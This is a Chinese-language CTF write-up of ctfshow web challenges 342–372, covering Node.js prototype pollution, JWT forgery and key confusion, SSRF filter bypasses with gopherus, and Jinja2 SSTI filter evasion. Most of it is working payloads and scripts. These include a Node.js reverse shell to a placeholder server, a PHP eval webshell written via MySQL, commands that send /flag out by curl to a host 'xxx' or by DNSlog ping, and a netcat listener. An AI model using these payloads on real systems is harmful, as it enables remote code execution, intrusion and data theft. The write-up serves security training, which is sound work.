{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}

web-343

342的payload一样打。

web-344

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

发现题目会过滤掉逗号,尝试 URL 编码, urlencode(",") = %2c 发现 2c 也被过滤

HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的。

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

1
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

这里把 c进行url编码,是因为 双引号 的url编码是 %22,和 c 连接起来就是 %22c,会匹配到正则表达式。

JWT

可以先了解一下jwt的构成。

web-345

https://jwt.io/

没有加密,直接修改user为admin,访问admin即可

web-346

加密123456,暴力破解

https://github.com/brendan-rius/c-jwt-cracker

web-347

一样,跑就完事了,123456

web-348

aaab

web-349

拿源码,把环境搭起来,访问自己本地的,直接post拿flag就行。

web-350

密钥混淆攻击 (你用公钥解密,我直接就用公钥生成)

JWT最常用的两种算法是HMAC和RSA。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。

如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法)?

那么,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

运行 nodejs 获取 cookie 去替换即可

防御方法:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法

SSRF

web-351

curl_exec()直接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//初始化curl会话
$ch=curl_init($url);
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//// 抓取URL并把它传递给浏览器
$result=curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
echo ($result);
?>

url=127.0.0.1/flag.php

web-352

简单的过滤

1
2
3
4
5
6
url=http://127.0.1/flag.php
url=http://127.1/flag.php
url=http://0x7F.0x00.0x00.0x01/flag.php //ip地址全部转为16进制
url=http://0x7F.0.0.1/flag.php //也可以只转第一个
url=http://0177.0.0.1/flag.php //八进制
url=http://yake-daigua@127.0.0.1/flag.php

web-354

网络上存在一个名为sudo.cc的服务,放访问这个服务时,会自动重定向到127.0.0.1

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

web-355

url=http://127.1/flag.php

web-356

url=http://0/flag.php

web-357

gethostbyname()函数
主要作用:用域名或者主机名获取地址,操作系统提供的库函数。

成功返回的非空指针指向如下的hostent结构:

1
2
3
4
5
6
7
8
9
10
struct hostent
{
char *h_name; //主机名
char **h_aliases; //主机别名(指向到虚拟主机的域名)
int h_addrtype; //主机IP地址类型
int h_length; //主机IP地址长度,对于IPv4是四字节
char **h_addr_list; //主机IP地址列表
};

#define h_addr h_addr_list[0]

filter_var() 函数
通过指定的过滤器过滤变量。

如果成功,则返回已过滤的数据,如果失败,则返回 false。

语法

1
filter_var(variable, filter, options)

参数 描述
variable 必需。规定要过滤的变量。
filter 可选。规定要使用的过滤器的 ID。
options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
PHP Filter 函数
PHP:指示支持该函数的最早的 PHP 版本。

函数 描述 PHP
filter_has_var() 检查是否存在指定输入类型的变量。 5
filter_id() 返回指定过滤器的 ID 号。 5
filter_input() 从脚本外部获取输入,并进行过滤。 5
filter_input_array() 从脚本外部获取多项输入,并进行过滤。 5
filter_list() 返回包含所有得到支持的过滤器的一个数组。 5
filter_var_array() 获取多项变量,并进行过滤。 5
filter_var() 获取一个变量,并进行过滤。 5
PHP Filters
ID 名称 描述
FILTER_CALLBACK 调用用户自定义函数来过滤数据。
FILTER_SANITIZE_STRING 去除标签,去除或编码特殊字符。
FILTER_SANITIZE_STRIPPED “string” 过滤器的别名。
FILTER_SANITIZE_ENCODED URL-encode 字符串,去除或编码特殊字符。
FILTER_SANITIZE_SPECIAL_CHARS HTML 转义字符 ‘“<>& 以及 ASCII 值小于 32 的字符。
FILTER_SANITIZE_EMAIL 删除所有字符,除了字母、数字以及 !#$%&’*±/=?^_{|}~@.[] FILTER_SANITIZE_URL 删除所有字符,除了字母、数字以及 $-_.+!*'(),{}|//^~[]<>#%”;/?😡&=
FILTER_SANITIZE_NUMBER_INT 删除所有字符,除了数字和 ±
FILTER_SANITIZE_NUMBER_FLOAT 删除所有字符,除了数字、± 以及 .,eE。
FILTER_SANITIZE_MAGIC_QUOTES 应用 addslashes()。
FILTER_UNSAFE_RAW 不进行任何过滤,去除或编码特殊字符。
FILTER_VALIDATE_INT 在指定的范围以整数验证值。
FILTER_VALIDATE_BOOLEAN 如果是 “1”, “true”, “on” 以及 “yes”,则返回 true,如果是 “0”, “false”, “off”, “no” 以及 “”,则返回 false。否则返回 NULL。
FILTER_VALIDATE_FLOAT 以浮点数验证值。
FILTER_VALIDATE_REGEXP 根据 regexp,兼容 Perl 的正则表达式来验证值。
FILTER_VALIDATE_URL 把值作为 URL 来验证。
FILTER_VALIDATE_EMAIL 把值作为 e-mail 来验证。
FILTER_VALIDATE_IP 把值作为 IP 地址来验证。

1
2
3
4
5
6
7
gethostbyname — 返回主机名对应的 IPv4地址。 
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
所以url不能是私有地址,需要一个公网ip

利用302跳转和dns重绑定都可以。

dns重绑定就用这个:dns重绑定

羽神提供了一种方法:使用dns重绑定

在网站http://ceye.io/注册账号,会自动分配一个域名给你。

302跳转或者DNS重绑定,自己有vps最好。

web-358

正则匹配:以以http://ctf.开头,以show结尾。

以show结尾比较好办,要么#show,要么?a=show这样的都可以。

http://ctf.开头的话,加一个@127.0.0.1绕过,这样parse_url解析出来的host是127.0.0.1。

考虑到ftp:ftp://user[:pass]@ip[:port]/path,因此前面的ctf.会被解析成user。

1
url=http://ctf.@127.0.0.1/flag.php?show

web-359

gopherus打mysql

1
2
Give MySQL username: root                                                                                                     
Give query to execute: select '<?php eval($_POST[pass]); ?>' INTO OUTFILE '/var/www/html/2.php';
1
pass=system('cat /f*');

直接一把梭,记得url编码,因为是curl_exec()

web-360

gopherus打redis

基本SSRF就是这么个事,还有很多姿势,都大差不差。

下面给出拓展,我总结的关于攻击PHP-FPM的文章。

https://tttang.com/archive/1775/

SSTI

https://jinja.palletsprojects.com/en/2.11.x/templates/

下面的内容看不懂的可以自行查阅上面给出的官方解释

不会写脚本就是纯纯的寄。。。。。。

web-361

名字就是考点!!!参数为name,测试一下注入点。

/?name=4

找到<class 'os._wrap_close'>,os._wrap_close类里有popen。这里直接利用popen来执行命令

1
/?name={{request.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}

web-362

上面的payload不管用了,这里可以用一个通用payload。原理就是找到含有__builtins__的类,然后利用。

1
/?name={{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('tac /flag').read()") }}
1
/?name={{lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}}

web-363

过滤了单双引号,可以用request对象的方法绕过

1
/?name={{lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag

当然,也可以利用chr函数来进行绕过,但chr()默认是没有的需要自己去调用定义,chr()在builtins里

1
2
3
4
name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(42)).read()}}

/*原payload
name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[o+s].popen(c+a+t+ +/+f+*).read()}}

web-364

进一步过滤了request.args,本来想用POST请求的,但是请求方式不行,转而用request.cookies

1
2
3
/?name={{lipsum.__globals__.__getitem__(request.cookies.a).popen(request.cookies.b).read()}}

a=os;b=cat /flag

除此之外,也可以利用chr来进行绕过
payload的构造同上关即可

1
/?name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(42)).read()}}

web-365

过滤了单双引号,还有中括号,request.cookies仍然可以用了。
单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过拿点绕过,拿__getitem__等绕过都可以。

使用request绕过的话可以这样:

1
2
/?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
1
2
3
/?name={{lipsum.__globals__.__getitem__(request.cookies.a).popen(request.cookies.b).read()}}

a=os;b=cat /flag

这里也尝试用一下字符串拼接,写个python脚本跑出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"

payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url%(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j:
print("config.__str__().__getitem__(%d) == %s"%(i,j))
result+="config.__str__().__getitem__(%d)~"%(i)
break
print(result[:len(result)-1])
1
2
/?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

web-366

在之前的基础上又ban了下划线_,这样__globals__这样的就构造不出来了,拿request绕过。
获取属性的话,用lipsum.(request.values.b)是会500的,中括号被ban了,__getattribute__也用不了的话,就用falsk自带的过滤器attr:

1
2
3
/?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag
1
2
3
""|attr("__class__")
相当于
"".__class__
1
2
3
Payload:?name={{((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read()}}

带上Cookie:a=os;b=cat /flag;c=__globals__;d=__getitem__

web-367

还禁用了os

上面的第二个payload依旧可以用

把os写到request里面就行了,只要不ban掉request的话,还是比较轻松的。

1
/?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}

web-368

1
过滤了{{和}},使用{%%}绕过
1
/?a=__globals__&b=cat /flag&c=os&name={%print(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read()%}
1
2
3
Payload:?name={% print(((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read())%}

带上Cookie:a=os;b=cat /flag;c=__globals__;d=__getitem__
1
当然了,一般的话把{{给ban了,用{% %}是可以盲注的,我们这里盲注一下/flag文件的内容,原理就在于open('/flag').read()是回显整个文件,但是read函数里加上参数:open('/flag').read(1),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了,写个python脚本:

https://blog.csdn.net/rfrder/article/details/113866139

feng师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
params={
'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}feng{{% endif %}}".format(i),
'a':'__globals__',
'b':'__builtins__',
'c':'/flag',
'd':f'{flag+j}'
}
r=requests.get(url=url,params=params)
if "feng" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break

注意我name那里用了{{和}},这是因为我用的format格式化字符串,用{}来占位,如果里面本来就有{}的话,就需要用{{`和`}}来代替{}

下面是yu22x师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
print(i)
for j in s:
x=flag+j
headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
r=requests.get(url,headers=headers)
#print(r.text)
if("1341" in r.text):
flag=x
print(flag)
break

web-369

把request给ban了,需要自己凑字符了,这里拿config来凑。一般我们想到的是使用__str__(),但是一个问题是_被ban了,所以__str__()用不了;这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_和[ ]被ban了,所以获取字符串中的某个字符比较困难。这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,参考feng师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])
1
2
GET:?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

yu22x师傅的方法

1
2
3
4
5
6
7
8
9
10
11
GET:?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

原理自己看吧:https://blog.csdn.net/miuzzx/article/details/110220425

web-370

又ban了数字,想了一下可以把一些东西转string再转list,然后用index,然后基本上所有数字都可以拿到,但是可能稍微麻烦了一下。这里我想办法拿到下划线和斜杠,然后组合:

1
2
3
4
5
6
7
8
9
10
11
http://965f672b-0325-41b2-af0b-2c72881896c3.chall.ctf.show:8080/?name=
{% set o=(dict(o=z)|join) %}
{% set n=dict(n=z)|join %}
{% set ershisi=(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi=(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
{% set xiegang=(config|string|list).pop(-liushisi) %}
{% set gang=(()|select|string|list).pop(ershisi) %}
{% set globals=(gang,gang,(dict(globals=z)|join),gang,gang)|join %}
{% set builtins=(gang,gang,(dict(builtins=z)|join),gang,gang)|join %}
{% set gangfulaige=(xiegang,dict(flag=z)|join)|join %}
{% print (lipsum|attr(globals)).get(builtins).open(gangfulaige).read() %}

直接把数字都给ban了,这里想到可以使用count进行计数

1
Payload:?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}{%print ((lipsum|attr(c))|attr(d)(e)).popen(i).read()%}

yu22x师傅的想法

1
2
{% set one=(dict(c=z)|join|length) %}
{% set two=(dict(cc=z)|join|length) %}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GET:?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

//count可以用length代替

另外的解法

反弹shell,本地开启监听 nc -lvp 4567 等待反弹flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
k=''
t=list(set(t))
for i in t:
k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
return k
def fun2(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
t=list(set(t))
k=''
for i in range(len(s)):
if i<len(s)-1:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
else:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
return k
url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

web-371

print被过滤,这里的话我们用反弹shell来做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}
1
2
3
4
5
6
7
8
9
10
11
12
13
def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://xxx:7777?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))

feng师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET:?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,c,c,cccccccc,point,ccc,c,point,c,cccccc,cccccccc,point,c,ccccccccc,cccccccc,maohao,ccc,ccccccccc,c,c,c,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

我看到有erR0Ratao师傅用外带数据的方法做的,蛮佩服的。

1
ping `cat /flag`.vhthja.dnslog.cn
1
Payload:?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(vhthja=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%}

web-372

过滤了count,可以用length替换

另外的思路是可以用全角数字代替正常数字(一般我们输入的数字都是半角)

半角转全角代码的python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)

全角’0’,’1’,’2’,’3’,’4’,’5’,’6’,’7’,’8’,’9’,

半角’0’,’1’,’2’,’3’,’4’,’5’,’6’,’7’,’8’,’9’

yu22x师傅用length代替count

1
/?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set 